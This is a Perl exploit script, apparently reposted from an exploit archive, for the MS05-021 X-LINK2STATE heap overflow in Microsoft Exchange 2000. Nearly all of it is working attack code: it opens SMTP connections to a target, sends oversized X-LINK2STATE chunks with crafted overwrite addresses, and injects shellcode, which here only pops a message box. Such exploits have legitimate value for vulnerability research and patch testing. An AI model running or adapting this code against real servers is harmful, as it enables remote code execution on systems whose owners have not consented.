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MS Exchange Server Remote Code Execution Exploit (MS05-021)
=========================================================== MS Exchange Server Remote Code Execution Exploit (MS05-021) =========================================================== #!/bin/perl # # # MS05-021 Exchange X-LINK2STATE Heap Overflow # Author: Evgeny Pinchuk # For educational purposes only. # # Tested on: # Windows 2000 Server SP4 EN # Microsoft Exchange 2000 SP3 # # Thanks and greets: # Halvar Flake (thx for the right directions) # Alex Behar, Yuri Gushin, Ishay Sommer, Ziv Gadot and Dave Hawkins # # use IO::Socket::INET; my $host = shift(@ARGV); my $port = 25; my $reply; my $request; my $EAX="\x55\xB2\xD3\x77"; # CALL DWORD PTR [ESI+0x4C] (rpcrt4.dll) my $ECX="\xF0\xA1\x5C\x7C"; # lpTopLevelExceptionFilter my $JMP="\xEB\x10"; my $SC="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb\xD5\x01" . "\x59\x7C\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb\x5F" . "\x0C\x59\x7C\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0D\x31\xd2\x52\x51" . "\x51\x52\xff\xd0\x31\xd2\x50\xb8\x72\x69\x59\x7C\xff\xd0\xe8\xc4\xff" . "\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff" . "\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff" . "\xff\x4D\x53\x30\x35\x2D\x30\x32\x31\x20\x54\x65\x73\x74\x4e"; my $cmd="X-LINK2STATE CHUNK="; my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port); $socket or die "Cannot connect to host!\n"; recv($socket, $reply, 1024, 0); print "Response:" . $reply; $request = "EHLO\r\n"; send $socket, $request, 0; print "[+] Sent EHLO\n"; recv($socket, $reply, 1024, 0); print "Response:" . $reply; $request = $cmd . "A"x1000 . "\r\n"; send $socket, $request, 0; print "[+] Sent 1st chunk\n"; recv($socket, $reply, 1024, 0); print "Response:" . $reply; $request = "A"x30 . $JMP . $EAX . $ECX . "B"x100 . $SC; my $left=1000-length($request); $request = $request . "C"x$left; $request = $cmd . $request . "\r\n"; send $socket, $request, 0; print "[+] Sent 2nd chunk\n"; recv($socket, $reply, 1024, 0); print "Response:" . $reply; close $socket; $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port); $socket or die "Cannot connect to host!\n"; recv($socket, $reply, 1024, 0); print "Response:" . $reply; $request = "EHLO\r\n"; send $socket, $request, 0; print "[+] Sent EHLO\n"; recv($socket, $reply, 1024, 0); print "Response:" . $reply; $request = $cmd . "A"x1000 . "\r\n"; send $socket, $request, 0; print "[+] Sent 3rd chunk\n"; close $socket; # 0day.today [2024-10-05] #